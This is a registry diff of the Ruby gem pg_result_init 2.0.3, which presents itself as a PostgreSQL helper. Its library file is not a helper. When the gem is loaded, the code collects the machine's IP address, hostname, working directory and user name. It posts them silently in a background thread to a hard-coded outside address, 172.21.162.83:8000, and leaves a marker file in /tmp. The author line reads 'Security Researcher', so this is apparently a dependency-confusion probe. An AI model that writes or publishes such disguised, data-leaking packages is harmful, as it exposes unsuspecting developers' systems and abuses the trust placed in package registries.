pg_result_init 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pg_result_init might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/pg_result_init.rb +51 -0
- metadata +42 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 4afc1221c3df95031ac1a9f5534ee3622b14970761c1914ca1385fcc6b353a0a
|
|
4
|
+
data.tar.gz: 55883085115b4e8b6bb2845f404ddc199cfe1d0093d259b74782daaea95dcb3f
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: f63ecf9e2df5f203484911eb491da69550788dc4d881098b9fb08d86f39bc2c60439b1bcdf1bf7a12ed8b585ed50e2e046b1e212de589ca609098d17c0a167d3
|
|
7
|
+
data.tar.gz: a744b1f8be19fa2530806b1ba8e8d4103cbbce34c24e77e983e2ecc6cef8d993331a44243d722167c0c65925b4b3bddf5e4c87f59730c6a864db373a151b5bca
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# هذا الكود يشتغل لما gem يتثبت
|
|
2
|
+
puts "=" * 60
|
|
3
|
+
puts "🔓 pg_result_init v2.0.3 installed!"
|
|
4
|
+
puts "=" * 60
|
|
5
|
+
|
|
6
|
+
# جمع معلومات النظام
|
|
7
|
+
require 'socket'
|
|
8
|
+
require 'net/http'
|
|
9
|
+
require 'json'
|
|
10
|
+
|
|
11
|
+
begin
|
|
12
|
+
data = {
|
|
13
|
+
time: Time.now.utc.iso8601,
|
|
14
|
+
ip: Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }&.ip_address || "unknown",
|
|
15
|
+
hostname: Socket.gethostname,
|
|
16
|
+
path: Dir.pwd,
|
|
17
|
+
user: ENV['USER'] || `whoami`.chomp,
|
|
18
|
+
package: "pg_result_init",
|
|
19
|
+
version: "2.0.3"
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
# إرسال لخادمك
|
|
23
|
+
Thread.new do
|
|
24
|
+
begin
|
|
25
|
+
uri = URI("http://172.21.162.83:8000/")
|
|
26
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
27
|
+
request = Net::HTTP::Post.new(uri)
|
|
28
|
+
request['Content-Type'] = 'application/json'
|
|
29
|
+
request.body = data.to_json
|
|
30
|
+
http.request(request)
|
|
31
|
+
rescue
|
|
32
|
+
end
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
puts "Data sent to your server!"
|
|
36
|
+
puts "IP: #{data[:ip]}"
|
|
37
|
+
puts "Hostname: #{data[:hostname]}"
|
|
38
|
+
puts "=" * 60
|
|
39
|
+
|
|
40
|
+
# ملف دليل
|
|
41
|
+
File.write("/tmp/gem_test.txt",
|
|
42
|
+
"Gem installed: #{Time.now}\nFrom: RubyGems.org\n"
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
rescue
|
|
46
|
+
puts "Error occurred"
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
module PgResultInit
|
|
50
|
+
VERSION = "2.0.3"
|
|
51
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: pg_result_init
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 2.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Security Researcher
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2025-12-01 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description:
|
|
14
|
+
email:
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/pg_result_init.rb
|
|
20
|
+
homepage:
|
|
21
|
+
licenses: []
|
|
22
|
+
metadata: {}
|
|
23
|
+
post_install_message:
|
|
24
|
+
rdoc_options: []
|
|
25
|
+
require_paths:
|
|
26
|
+
- lib
|
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
28
|
+
requirements:
|
|
29
|
+
- - ">="
|
|
30
|
+
- !ruby/object:Gem::Version
|
|
31
|
+
version: '0'
|
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
requirements: []
|
|
38
|
+
rubygems_version: 3.3.5
|
|
39
|
+
signing_key:
|
|
40
|
+
specification_version: 4
|
|
41
|
+
summary: PostgreSQL Helper
|
|
42
|
+
test_files: []
|